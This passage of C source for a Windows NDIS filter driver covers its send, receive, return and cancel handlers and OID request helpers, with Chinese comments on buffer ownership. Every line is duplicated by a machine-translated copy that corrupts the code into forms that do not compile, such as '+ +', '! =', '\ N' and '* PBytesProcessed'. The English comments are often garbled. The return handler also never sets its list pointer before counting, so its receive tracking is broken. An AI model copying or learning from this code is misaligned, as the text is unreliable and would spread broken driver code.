} }
FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
#endif # Endif
/******************************************************/ / ************************************************* * /
//在这里添加我们的代码 / / Add our code here
/******************************************************/ / ************************************************* * /
if (pFilter->TrackSends) if (pFilter-> TrackSends)
{ {
FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);
CurrNbl = NetBufferLists; CurrNbl = NetBufferLists;
while (CurrNbl) while (CurrNbl)
{ {
pFilter->OutstandingSends++; pFilter-> OutstandingSends + +;
FILTER_LOG_SEND_REF(1, pFilter, CurrNbl, pFilter->OutstandingSends); FILTER_LOG_SEND_REF (1, pFilter, CurrNbl, pFilter-> OutstandingSends);
CurrNbl = NET_BUFFER_LIST_NEXT_NBL(CurrNbl); CurrNbl = NET_BUFFER_LIST_NEXT_NBL (CurrNbl);
} }
FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
} }
NdisFSendNetBufferLists(pFilter->FilterHandle, NetBufferLists, PortNumber, SendFlags); NdisFSendNetBufferLists (pFilter-> FilterHandle, NetBufferLists, PortNumber, SendFlags);
} }
while (bFalse); while (bFalse);
DEBUGP(DL_TRACE, ("<===SendNetBufferList. \n")); DEBUGP (DL_TRACE, ("<=== SendNetBufferList. \ N"));
} }
/************************************************************* / ************************************************* ************
FilterReturnNetBufferLists函数的功能: Function of functions FilterReturnNetBufferLists:
如果Filter Driver设置了NdisFIndicateReceiveNetBufferLists的状态为NDIS_STATUS_SUCCESS, NDIS通过驱动的FilterReturnNetBufferLists If Filter Driver to set NdisFIndicateReceiveNetBufferLists the state of NDIS_STATUS_SUCCESS, NDIS driven FilterReturnNetBufferLists
返回指示数据。 Return indicating data.在这种情况下 Filter Driver失去了对NET_BUFFER_LIST的所有权,直到FilterReturnNetBufferLists被调用。 In this case, Filter Driver loses ownership to NET_BUFFER_LIST be invoked until FilterReturnNetBufferLists.
Filter Driver调用NdisFIndicateNetBufferLists 传递接收指示给驱动栈上的上层驱动,如果上层驱动保留了对缓冲区(NET_BUFFER_LIST)的所有权,NDIS会调用Filter Driver的FilterReturnNetBufferLists 例程。 The Filter Driver calls NdisFIndicateNetBufferLists pass receiver instructions to the driver stack on the upper drive the upper drive retains ownership of the buffer (NET_BUFFER_LIST), NDIS will to call Filter Driver FilterReturnNetBufferLists routine.
在FilterReturnNetBufferLists中应该撤消在接收路径上(如在 FilterReciveNetBufferLists中做的一些处理)的操作。 The in FilterReturnNetBufferLists should undo the operation on the receive path (as do some processing in FilterReciveNetBufferLists).当最底层的Filter Module完成对缓冲区(NET_BUFFER_LIST)的处理后,NDIS把缓冲区返回给微端口驱动。 When the bottom of the Filter Module completed on after the buffer (NET_BUFFER_LIST), processing, NDIS buffer returned to the miniport driver.如果FilterReceiveNetBufferLists的ReceiveFlags没有设置NDIS_RECEIVE_FLAGS_RESOURCES标记, FilterDriver调用NdisFReturnNetBufferList返回这个缓冲区数据,如果设置了FilterReceiveNetBufferLists直接返回时就把缓冲区返还给了下层微端口驱动。 If FilterReceiveNetBufferLists of ReceiveFlags no set NDIS_RECEIVE_FLAGS_RESOURCES mark, FilterDriver invoked NdisFReturnNetBufferList return this buffer data set FilterReceiveNetBufferLists returned directly put the buffer returned to the lower miniport driver.
***************************************************************/ ************************************************** ************* /
VOID VOID
FilterReturnNetBufferLists( FilterReturnNetBufferLists (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PNET_BUFFER_LIST NetBufferLists, IN PNET_BUFFER_LIST NetBufferLists,
IN ULONG ReturnFlags IN ULONG ReturnFlags
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
PNET_BUFFER_LIST CurrNbl = NULL; PNET_BUFFER_LIST CurrNbl = NULL;
UINT NumOfNetBufferLists = 0; UINT NumOfNetBufferLists = 0;
BOOLEAN DispatchLevel; BOOLEAN DispatchLevel;
ULONG Ref; ULONG Ref;
DEBUGP(DL_TRACE, ("===>ReturnNetBufferLists, NetBufferLists is %p.\n", NetBufferLists)); DEBUGP (DL_TRACE, ("===> ReturnNetBufferLists, NetBufferLists is% p. \ N", NetBufferLists));
if (pFilter->TrackReceives) if (pFilter-> TrackReceives)
{ {
while (CurrNbl) while (CurrNbl)
{ {
NumOfNetBufferLists ++; NumOfNetBufferLists + +;
CurrNbl = NET_BUFFER_LIST_NEXT_NBL(CurrNbl); CurrNbl = NET_BUFFER_LIST_NEXT_NBL (CurrNbl);
} }
} }
NdisFReturnNetBufferLists(pFilter->FilterHandle, NetBufferLists, ReturnFlags); NdisFReturnNetBufferLists (pFilter-> FilterHandle, NetBufferLists, ReturnFlags);
if (pFilter->TrackReceives) if (pFilter-> TrackReceives)
{ {
DispatchLevel = NDIS_TEST_RETURN_AT_DISPATCH_LEVEL(ReturnFlags); DispatchLevel = NDIS_TEST_RETURN_AT_DISPATCH_LEVEL (ReturnFlags);
FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);
pFilter->OutstandingRcvs -= NumOfNetBufferLists; pFilter-> OutstandingRcvs - = NumOfNetBufferLists;
Ref = pFilter->OutstandingRcvs; Ref = pFilter-> OutstandingRcvs;
FILTER_LOG_RCV_REF(3, pFilter, NetBufferLists, Ref); FILTER_LOG_RCV_REF (3, pFilter, NetBufferLists, Ref);
FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
} }
DEBUGP(DL_TRACE, ("<===ReturnNetBufferLists.\n")); DEBUGP (DL_TRACE, ("<=== ReturnNetBufferLists. \ N"));
} }
/*************************************************************** / ************************************************* **************
FilterReceiveNetBufferLists函数的功能: Function of functions FilterReceiveNetBufferLists:
Filter Driver调用 NdisFIndicateReceiveNetBufferLists来指示发送数据。 The Filter Driver calls NdisFIndicateReceiveNetBufferLists to indicate the transmission data.这个函数通过NET_BUFFER_LIST结构给上层驱动指示数据。 The instructions to the upper drive function through NET_BUFFER_LIST structure data. Filter Driver可以从池中分配这个结构。 Filter Driver can be allocated from the pool structure.如果Filter Driver设置了NdisFIndicateReceiveNetBufferLists的状态为 NDIS_STATUS_SUCCESS, NDIS通过驱动的FilterReturnNetBufferLists返回指示数据。 If Filter Driver to set NdisFIndicateReceiveNetBufferLists the state NDIS_STATUS_SUCCESS, NDIS through the drive FilterReturnNetBufferLists return instruction data.在这种情况下Filter Driver失去了对NET_BUFFER_LIST的所有权直到FilterReturnNetBufferLists被调用。 In this case, Filter Driver lost the the ownership right NET_BUFFER_LIST be invoked until FilterReturnNetBufferLists.如果Filter Driver在调用NdisFIndicateReceiveNetBufferLists时设置ReceiveFlags为NDIS_RECEIVE_FLAGS_RESOURCES,在函数返回后Filter Driver会立即恢复对NET_BUFFER_LIST的所有权,这时Filter Driver必须立即处理这个NET_BUFFER_LIST的返回,因为NDIS在这种情况下是不会调用FilterReturnNetBufferLists返回NET_BUFFER_LIST结构的。 If Filter Driver in to set ReceiveFlags call NdisFIndicateReceiveNetBufferLists, the NDIS_RECEIVE_FLAGS_RESOURCES Filter Driver after the function returns immediately restore ownership of NET_BUFFER_LIST, when Filter Driver must be dealt with immediately NET_BUFFER_LIST return, because NDIS in this case does not call FilterReturnNetBufferLists return NET_BUFFER_LIST structure.
注意: 一个Filter Driver应该跟踪自己引发的接收指示确保它在FilterReturnNetBufferLists Note: a Filter Driver should track their triggered by receiving instructions to ensure that it is in FilterReturnNetBufferLists
中不调用NdisFReturnNetBufferLists。 Do not call NdisFReturnNetBufferLists.
***************************************************************/ ************************************************** ************* /
VOID VOID
FilterReceiveNetBufferLists( FilterReceiveNetBufferLists (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PNET_BUFFER_LIST NetBufferLists, IN PNET_BUFFER_LIST NetBufferLists,
IN NDIS_PORT_NUMBER PortNumber, IN NDIS_PORT_NUMBER PortNumber,
IN ULONG NumberOfNetBufferLists, IN ULONG NumberOfNetBufferLists,
IN ULONG ReceiveFlags IN ULONG ReceiveFlags
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
BOOLEAN DispatchLevel; BOOLEAN DispatchLevel;
ULONG Ref; ULONG Ref;
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
#if DBG # If DBG
ULONG ReturnFlags; ULONG ReturnFlags;
#endif # Endif
DEBUGP(DL_TRACE, ("===>ReceiveNetBufferList: NetBufferLists = %p.\n", NetBufferLists)); DEBUGP (DL_TRACE, ("===> ReceiveNetBufferList: NetBufferLists =% p. \ N", NetBufferLists));
do do
{ {
DispatchLevel = NDIS_TEST_RECEIVE_AT_DISPATCH_LEVEL(ReceiveFlags); DispatchLevel = NDIS_TEST_RECEIVE_AT_DISPATCH_LEVEL (ReceiveFlags);
#if DBG # If DBG
FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);
if (pFilter->State != FilterRunning) if (pFilter-> State! = FilterRunning)
{ {
FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
if (NDIS_TEST_RECEIVE_CAN_PEND(ReceiveFlags)) if (NDIS_TEST_RECEIVE_CAN_PEND (ReceiveFlags))
{ {
ReturnFlags = 0; ReturnFlags = 0;
if (NDIS_TEST_RECEIVE_AT_DISPATCH_LEVEL(ReceiveFlags)) if (NDIS_TEST_RECEIVE_AT_DISPATCH_LEVEL (ReceiveFlags))
{ {
NDIS_SET_RETURN_FLAG(ReturnFlags, NDIS_RETURN_FLAGS_DISPATCH_LEVEL); NDIS_SET_RETURN_FLAG (ReturnFlags, NDIS_RETURN_FLAGS_DISPATCH_LEVEL);
} }
NdisFReturnNetBufferLists(pFilter->FilterHandle, NetBufferLists, ReturnFlags); NdisFReturnNetBufferLists (pFilter-> FilterHandle, NetBufferLists, ReturnFlags);
} }
break; break;
} }
FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
#endif # Endif
ASSERT(NumberOfNetBufferLists >= 1); ASSERT (NumberOfNetBufferLists> = 1);
/*--------------------------------------------------------------------------------------*/ / * ------------------------------------------------ -------------------------------------- * /
//在这里添加我们的代码 / / Add our code here
/*---------------------------------------------------------------------------------------*/ / * ------------------------------------------------ --------------------------------------- * /
if (pFilter->TrackReceives) if (pFilter-> TrackReceives)
{ {
FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);
pFilter->OutstandingRcvs += NumberOfNetBufferLists; pFilter-> OutstandingRcvs + = NumberOfNetBufferLists;
Ref = pFilter->OutstandingRcvs; Ref = pFilter-> OutstandingRcvs;
FILTER_LOG_RCV_REF(1, pFilter, NetBufferLists, Ref); FILTER_LOG_RCV_REF (1, pFilter, NetBufferLists, Ref);
FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
} }
/************************************************************ / ************************************************* ***********
调用 NdisFIndicateReceiveNetBufferLists来指示发送数据。 Call NdisFIndicateReceiveNetBufferLists to indicate the transmission data.
如果Filter Driver设置了NdisFIndicateReceiveNetBufferLists的状态为NDIS_STATUS_SUCCESS, NDIS通过驱动的FilterReturnNetBufferLists 返回指示数据。 If Filter Driver to set NdisFIndicateReceiveNetBufferLists the state NDIS_STATUS_SUCCESS, NDIS through the drive FilterReturnNetBufferLists return instruction data.
如果Filter Driver设置了NdisFIndicateReceiveNetBufferLists的ReceiveFlags值为 If The Filter Driver to set NdisFIndicateReceiveNetBufferLists the ReceiveFlags value
NDIS_RECEIVE_FLAGS_RESOURCES,那么在函数返回后Filter Driver会立即恢复对 NDIS_RECEIVE_FLAGS_RESOURCES, then the function returns Filter Driver will be resumed immediately on
NET_BUFFER_LIST的所有权,这时Filter Driver必须立即处理这个NET_BUFFER_LIST的返回。 NET_BUFFER_LIST ownership, then Filter Driver must immediately deal with the return NET_BUFFER_LIST.
在这种情况下是不会调用FilterReturnNetBufferLists返回NET_BUFFER_LIST结构的。 In this case, will not call FilterReturnNetBufferLists to return NET_BUFFER_LIST structure.
************************************************************/ ************************************************** ********** /
NdisFIndicateReceiveNetBufferLists( NdisFIndicateReceiveNetBufferLists (
pFilter->FilterHandle, pFilter-> FilterHandle,
NetBufferLists, NetBufferLists,
PortNumber, PortNumber,
NumberOfNetBufferLists, NumberOfNetBufferLists,
ReceiveFlags); ReceiveFlags);
if (NDIS_TEST_RECEIVE_CANNOT_PEND(ReceiveFlags) && pFilter->TrackReceives) if (NDIS_TEST_RECEIVE_CANNOT_PEND (ReceiveFlags) && pFilter-> TrackReceives)
{ {
FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);
pFilter->OutstandingRcvs -= NumberOfNetBufferLists; pFilter-> OutstandingRcvs - = NumberOfNetBufferLists;
Ref = pFilter->OutstandingRcvs; Ref = pFilter-> OutstandingRcvs;
FILTER_LOG_RCV_REF(2, pFilter, NetBufferLists, Ref); FILTER_LOG_RCV_REF (2, pFilter, NetBufferLists, Ref);
FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
} }
} while (bFalse); } While (bFalse);
DEBUGP(DL_TRACE, ("<===ReceiveNetBufferList: Flags = %8x.\n", ReceiveFlags)); DEBUGP (DL_TRACE, ("<=== ReceiveNetBufferList: Flags =% 8x. \ N", ReceiveFlags));
} }
/************************************************************** / ************************************************* *************
FilterCancelSendNetBufferLists函数的功能: Function of functions FilterCancelSendNetBufferLists:
过滤驱动调用NDIS_SET_NET_BUFFER_LIST_CANCEL_ID宏为每一个NET_BUFFER_LIST标记一个取消Id。 The filter driver calling NDIS_SET_NET_BUFFER_LIST_CANCEL_ID macro for each NET_BUFFER_LIST mark a canceled Id.
在为网络数据分配取消ID之前,必须先调用NdisGenratePartialCanceId获得取消ID的高字节。 Prior to cancel the ID for the network data distribution, you must first call NdisGenratePartialCanceId to cancel ID high byte.
这是为了确保不是驱动不会把一个取消ID分配给两个驱动驱动通常在DriverEntry调用 This is in order to ensure not drive will not put a canceled ID assigned to two drivers drive usually DriverEntry call
NdisGenratePartialCanceld,但是驱动可以在不同的时间多次调用它来获得多个取消ID。 NdisGenratePartialCanceld, but the driver can many times at different times to call it to get multiple cancel ID.
要取消被标记过取消ID且正在传输的数据,驱动可以调用NdisFCancelSendNetBufferLists例程 To cancel cancel ID is marked and the data being transferred, the drive can call NdisFCancelSendNetBufferLists routine
来完成。 To complete.要获得取消ID可以用NDIS_GET_NET_BUFFER_LIST_CANCEL_ID宏来完成。 To get to cancel ID can be used NDIS_GET_NET_BUFFER_LIST_CANCEL_ID macro.
如果一个Filter Driver对所有发送的NET_BUFFER_LIST标记了相同的取消ID那它可以用一个 A Filter Driver the same cancellation mark all the NET_BUFFER_LIST send ID it with a
NdisFCancelSendNetBufferLists来取消所有的发送请求。 NdisFCancelSendNetBufferLists to cancel all send requests.如果把一部发送请求的NET_BUFFER_LIST标记相同的取消ID那么就可以调用一次NdisFCancelSendNetBufferLists来取消这部分发送请求。 Send a request NET_BUFFER_LIST marker cancel ID then you can call the time NdisFCancelSendNetBufferLists to cancel this part of the send request.
在实现这个功能时NDIS会调用下层驱动的取消发送功能。 NDIS will achieve this function calls the lower drive cancel sending.中断正在执行的发送任务后,下层驱动会 The lower drive will interrupt the sending task being performed,
调用发送完成全程(如:NdisMSendNetBufferListComplete)返回指定的NET_BUFFER_LIST结构并指定 返回状态为 NDIS_STATUS_CANCELLED, NDIS依次调用Filter Driver的FilterSendNetBufferListsComplete例程。 Call to send will finish (eg: NdisMSendNetBufferListComplete), return specified NET_BUFFER_LIST structure and specify return NDIS_STATUS_CANCELLED, NDIS turn call the Filter Driver FilterSendNetBufferListsComplete routine.在FilterSendNetBufferListsComplete中要用NDIS_SET_NET_BUFFER_LIST_CANCEL_ID设置取消的NET_BUFFER_LIST NDIS_SET_NET_BUFFER_LIST_CANCEL_ID the setting cancel the NET_BUFFER_LIST use FilterSendNetBufferListsComplete in
的取消ID 为 NULL,这样是为了防止这个ID,在 NET_BUFFER_LIST被再次分配时使用。 Cancellation ID is NULL, this is in order to prevent this ID NET_BUFFER_LIST is again assigned to use.
上层驱动在取消一个未完成的发送请求时也必须对这个发送请求的 NET_BUFFER_LIST结构设定取消ID。 The upper drive cancel an unfinished send request must cancel this the sending request NET_BUFFER_LIST structure set ID.
NDIS会传递给Filter Driver的FilterCancelSendNetBufferLists一个取消ID来取消发送请求的 NDIS will pass to Filter Driver FilterCancelSendNetBufferLists an to cancel ID to cancel sending request
NET_BUFFER_LIST发送。 NET_BUFFER_LIST sent. FilterCanCelSendNetBufferLists下执行下列操作。 FilterCanCelSendNetBufferLists Perform the following procedure.
1)遍历 Filter Driver的发送队列,用 NDIS_GET_NET_BUFFER_LSIT_CANCEL_ID获得队列中NET_BUFFER_LIST的取消ID与FilterCancelSendBufferLists的取消ID比较。 1) traversal Filter Driver transmit queue, cancel ID with NDIS_GET_NET_BUFFER_LSIT_CANCEL_ID to get queue NET_BUFFER_LIST cancel ID FilterCancelSendBufferLists of the comparison.
2)移除队列中取消 ID 和 FilterCancelSentBufferLists中取消ID相同的元素。 2) Remove canceled the ID and FilterCancelSentBufferLists cancel the same ID elements in the queue.
3)调用 NdisFSendNetBufferListsComplete来完成这些NET_BUFFER_LIST并设定返回状 3) call NdisFSendNetBufferListsComplete to complete these NET_BUFFER_LIST and set the return-like
态为NDIS_STATUS_CANCELLED。 State is NDIS_STATUS_CANCELLED.
4)调用NdisFCancelSendNetBufferLists传递取消发送请求给下层驱动。 4) call NdisFCancelSendNetBufferLists passing cancel sending the request to the lower driver.传递取消ID给下层驱动就Filter Driver取消自己引发的发关请求一样。 Passed to cancel the ID to the lower drive Filter Driver cancel their hair off requests triggered.
*************************************************************/ ************************************************** *********** /
VOID VOID
FilterCancelSendNetBufferLists( FilterCancelSendNetBufferLists (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PVOID CancelId IN PVOID CancelId
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
NdisFCancelSendNetBufferLists(pFilter->FilterHandle,CancelId); NdisFCancelSendNetBufferLists (pFilter-> FilterHandle, CancelId);
} }
/************************************************************** / ************************************************* *************
FilterSetModuleOptions函数的功能: Function of functions FilterSetModuleOptions:
必须要在初始化时为驱动注册FilterSetModuleOptions例程,驱动可以在这个例程中初始化 Initialization must-driven routines of registration FilterSetModuleOptions, drive initialization routine
NDIS_FILTER_PARTIAL_CHARACTERISTICS结构来调用NdisSetOptionalHandlers来完成必变。 To call NdisSetOptionalHandlers NDIS_FILTER_PARTIAL_CHARACTERISTICS structure to complete must change.
这个例程如果存在那么在调用Filter Driver的FilterRestart例程之前调用它。 This routine if there is then called before the call Filter Driver FilterRestart routine.
***************************************************************/ ************************************************** ************* /
NDIS_STATUS NDIS_STATUS
FilterSetModuleOptions( FilterSetModuleOptions (
IN NDIS_HANDLE FilterModuleContext IN NDIS_HANDLE FilterModuleContext
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
NDIS_FILTER_PARTIAL_CHARACTERISTICS OptionalHandlers; NDIS_FILTER_PARTIAL_CHARACTERISTICS OptionalHandlers;
NDIS_STATUS Status = NDIS_STATUS_SUCCESS; NDIS_STATUS Status = NDIS_STATUS_SUCCESS;
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
if (bFalse) if (bFalse)
{ {
UINT i; UINT i;
pFilter->CallsRestart++; pFilter-> CallsRestart + +;
i = pFilter->CallsRestart % 8; i = pFilter-> CallsRestart% 8;
pFilter->TrackReceives = TRUE; pFilter-> TrackReceives = TRUE;
pFilter->TrackSends = TRUE; pFilter-> TrackSends = TRUE;
NdisMoveMemory(&OptionalHandlers, &DefaultChars, sizeof(OptionalHandlers)); NdisMoveMemory (& OptionalHandlers, & DefaultChars, sizeof (OptionalHandlers));
OptionalHandlers.Header.Type = NDIS_OBJECT_TYPE_FILTER_PARTIAL_CHARACTERISTICS; OptionalHandlers.Header.Type = NDIS_OBJECT_TYPE_FILTER_PARTIAL_CHARACTERISTICS;
OptionalHandlers.Header.Size = sizeof(OptionalHandlers); OptionalHandlers.Header.Size = sizeof (OptionalHandlers);
switch (i) switch (i)
{ {
case 0: case 0:
OptionalHandlers.ReceiveNetBufferListsHandler = NULL; OptionalHandlers.ReceiveNetBufferListsHandler = NULL;
pFilter->TrackReceives = FALSE; pFilter-> TrackReceives = FALSE;
break; break;
case 1: case 1:
OptionalHandlers.ReturnNetBufferListsHandler = NULL; OptionalHandlers.ReturnNetBufferListsHandler = NULL;
pFilter->TrackReceives = FALSE; pFilter-> TrackReceives = FALSE;
break; break;
case 2: case 2:
OptionalHandlers.SendNetBufferListsHandler = NULL; OptionalHandlers.SendNetBufferListsHandler = NULL;
pFilter->TrackSends = FALSE; pFilter-> TrackSends = FALSE;
break; break;
case 3: case 3:
OptionalHandlers.SendNetBufferListsCompleteHandler = NULL; OptionalHandlers.SendNetBufferListsCompleteHandler = NULL;
pFilter->TrackSends = FALSE; pFilter-> TrackSends = FALSE;
break; break;
case 4: case 4:
OptionalHandlers.ReceiveNetBufferListsHandler = NULL; OptionalHandlers.ReceiveNetBufferListsHandler = NULL;
OptionalHandlers.ReturnNetBufferListsHandler = NULL; OptionalHandlers.ReturnNetBufferListsHandler = NULL;
break; break;
case 5: case 5:
OptionalHandlers.SendNetBufferListsHandler = NULL; OptionalHandlers.SendNetBufferListsHandler = NULL;
OptionalHandlers.SendNetBufferListsCompleteHandler = NULL; OptionalHandlers.SendNetBufferListsCompleteHandler = NULL;
break; break;
case 6: case 6:
OptionalHandlers.ReceiveNetBufferListsHandler = NULL; OptionalHandlers.ReceiveNetBufferListsHandler = NULL;
OptionalHandlers.ReturnNetBufferListsHandler = NULL; OptionalHandlers.ReturnNetBufferListsHandler = NULL;
OptionalHandlers.SendNetBufferListsHandler = NULL; OptionalHandlers.SendNetBufferListsHandler = NULL;
OptionalHandlers.SendNetBufferListsCompleteHandler = NULL; OptionalHandlers.SendNetBufferListsCompleteHandler = NULL;
break; break;
case 8: case 8:
break; break;
} }
Status = NdisSetOptionalHandlers(pFilter->FilterHandle, (PNDIS_DRIVER_OPTIONAL_HANDLERS)&OptionalHandlers ); Status = NdisSetOptionalHandlers (pFilter-> FilterHandle, (PNDIS_DRIVER_OPTIONAL_HANDLERS) & OptionalHandlers);
} }
return Status; return Status;
} }
NDIS_STATUS NDIS_STATUS
filterDoInternalRequest( filterDoInternalRequest (
IN PMS_FILTER FilterModuleContext, IN PMS_FILTER FilterModuleContext,
IN NDIS_REQUEST_TYPE RequestType, IN NDIS_REQUEST_TYPE RequestType,
IN NDIS_OID Oid, IN NDIS_OID Oid,
IN PVOID InformationBuffer, IN PVOID InformationBuffer,
IN ULONG InformationBufferLength, IN ULONG InformationBufferLength,
IN ULONG OutputBufferLength, OPTIONAL IN ULONG OutputBufferLength, OPTIONAL
IN ULONG MethodId, OPTIONAL IN ULONG MethodId, OPTIONAL
OUT PULONG pBytesProcessed OUT PULONG pBytesProcessed
) )
{ {
FILTER_REQUEST FilterRequest; FILTER_REQUEST FilterRequest;
PNDIS_OID_REQUEST NdisRequest = &FilterRequest.Request; PNDIS_OID_REQUEST NdisRequest = & FilterRequest.Request;
NDIS_STATUS Status; NDIS_STATUS Status;
BOOLEAN bFalse; BOOLEAN bFalse;
bFalse = FALSE; bFalse = FALSE;
NdisZeroMemory(NdisRequest, sizeof(NDIS_OID_REQUEST)); NdisZeroMemory (NdisRequest, sizeof (NDIS_OID_REQUEST));
NdisInitializeEvent(&FilterRequest.ReqEvent); NdisInitializeEvent (& FilterRequest.ReqEvent);
NdisRequest->Header.Type = NDIS_OBJECT_TYPE_OID_REQUEST; NdisRequest-> Header.Type = NDIS_OBJECT_TYPE_OID_REQUEST;
NdisRequest->Header.Revision = NDIS_OID_REQUEST_REVISION_1; NdisRequest-> Header.Revision = NDIS_OID_REQUEST_REVISION_1;
NdisRequest->Header.Size = sizeof(NDIS_OID_REQUEST); NdisRequest-> Header.Size = sizeof (NDIS_OID_REQUEST);
NdisRequest->RequestType = RequestType; NdisRequest-> RequestType = RequestType;
switch (RequestType) switch (RequestType)
{ {
case NdisRequestQueryInformation: case NdisRequestQueryInformation:
NdisRequest->DATA.QUERY_INFORMATION.Oid = Oid; NdisRequest-> DATA.QUERY_INFORMATION.Oid = Oid;
NdisRequest->DATA.QUERY_INFORMATION.InformationBuffer =InformationBuffer; NdisRequest-> DATA.QUERY_INFORMATION.InformationBuffer = InformationBuffer;
NdisRequest->DATA.QUERY_INFORMATION.InformationBufferLength = InformationBufferLength; NdisRequest-> DATA.QUERY_INFORMATION.InformationBufferLength = InformationBufferLength;
break; break;
case NdisRequestSetInformation: case NdisRequestSetInformation:
NdisRequest->DATA.SET_INFORMATION.Oid = Oid; NdisRequest-> DATA.SET_INFORMATION.Oid = Oid;
NdisRequest->DATA.SET_INFORMATION.InformationBuffer =InformationBuffer; NdisRequest-> DATA.SET_INFORMATION.InformationBuffer = InformationBuffer;
NdisRequest->DATA.SET_INFORMATION.InformationBufferLength =InformationBufferLength; NdisRequest-> DATA.SET_INFORMATION.InformationBufferLength = InformationBufferLength;
break; break;
case NdisRequestMethod: case NdisRequestMethod:
NdisRequest->DATA.METHOD_INFORMATION.Oid = Oid; NdisRequest-> DATA.METHOD_INFORMATION.Oid = Oid;
NdisRequest->DATA.METHOD_INFORMATION.MethodId = MethodId; NdisRequest-> DATA.METHOD_INFORMATION.MethodId = MethodId;
NdisRequest->DATA.METHOD_INFORMATION.InformationBuffer = InformationBuffer; NdisRequest-> DATA.METHOD_INFORMATION.InformationBuffer = InformationBuffer;
NdisRequest->DATA.METHOD_INFORMATION.InputBufferLength = InformationBufferLength; NdisRequest-> DATA.METHOD_INFORMATION.InputBufferLength = InformationBufferLength;
NdisRequest->DATA.METHOD_INFORMATION.OutputBufferLength = OutputBufferLength; NdisRequest-> DATA.METHOD_INFORMATION.OutputBufferLength = OutputBufferLength;
break; break;
default: default:
FILTER_ASSERT(bFalse); FILTER_ASSERT (bFalse);
break; break;
} }
NdisRequest->RequestId = (PVOID)FILTER_REQUEST_ID; NdisRequest-> RequestId = (PVOID) FILTER_REQUEST_ID;
Status = NdisFOidRequest(FilterModuleContext->FilterHandle,NdisRequest); Status = NdisFOidRequest (FilterModuleContext-> FilterHandle, NdisRequest);
if (Status == NDIS_STATUS_PENDING) if (Status == NDIS_STATUS_PENDING)
{ {
NdisWaitEvent(&FilterRequest.ReqEvent, 0); NdisWaitEvent (& FilterRequest.ReqEvent, 0);
Status = FilterRequest.Status; Status = FilterRequest.Status;
} }
if (Status == NDIS_STATUS_SUCCESS) if (Status == NDIS_STATUS_SUCCESS)
{ {
if (RequestType == NdisRequestSetInformation) if (RequestType == NdisRequestSetInformation)
{ {
*pBytesProcessed = NdisRequest->DATA.SET_INFORMATION.BytesRead; * PBytesProcessed = NdisRequest-> DATA.SET_INFORMATION.BytesRead;
} }
if (RequestType == NdisRequestQueryInformation) if (RequestType == NdisRequestQueryInformation)
{ {
*pBytesProcessed = NdisRequest->DATA.QUERY_INFORMATION.BytesWritten; * PBytesProcessed = NdisRequest-> DATA.QUERY_INFORMATION.BytesWritten;
} }
if (RequestType == NdisRequestMethod) if (RequestType == NdisRequestMethod)
{ {
*pBytesProcessed = NdisRequest->DATA.METHOD_INFORMATION.BytesWritten; * PBytesProcessed = NdisRequest-> DATA.METHOD_INFORMATION.BytesWritten;
} }
if (RequestType == NdisRequestMethod) if (RequestType == NdisRequestMethod)
{ {
if (*pBytesProcessed > OutputBufferLength) if (* pBytesProcessed> OutputBufferLength)
{ {
*pBytesProcessed = OutputBufferLength; * PBytesProcessed = OutputBufferLength;
} }
} }
else else
{ {
if (*pBytesProcessed > InformationBufferLength) if (* pBytesProcessed> InformationBufferLength)
{ {
*pBytesProcessed = InformationBufferLength; * PBytesProcessed = InformationBufferLength;
} }
} }
} }
return (Status); return (Status);
} }
VOID VOID
filterInternalRequestComplete( filterInternalRequestComplete (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PNDIS_OID_REQUEST NdisRequest, IN PNDIS_OID_REQUEST NdisRequest,
IN NDIS_STATUS Status IN NDIS_STATUS Status
) )
{ {
PFILTER_REQUEST FilterRequest; PFILTER_REQUEST FilterRequest;
UNREFERENCED_PARAMETER(FilterModuleContext); UNREFERENCED_PARAMETER (FilterModuleContext);
FilterRequest = CONTAINING_RECORD(NdisRequest, FILTER_REQUEST, Request); FilterRequest = CONTAINING_RECORD (NdisRequest, FILTER_REQUEST, Request);
FilterRequest->Status = Status; FilterRequest-> Status = Status;
NdisSetEvent(&FilterRequest->ReqEvent); NdisSetEvent (& FilterRequest-> ReqEvent);
} }
~~~
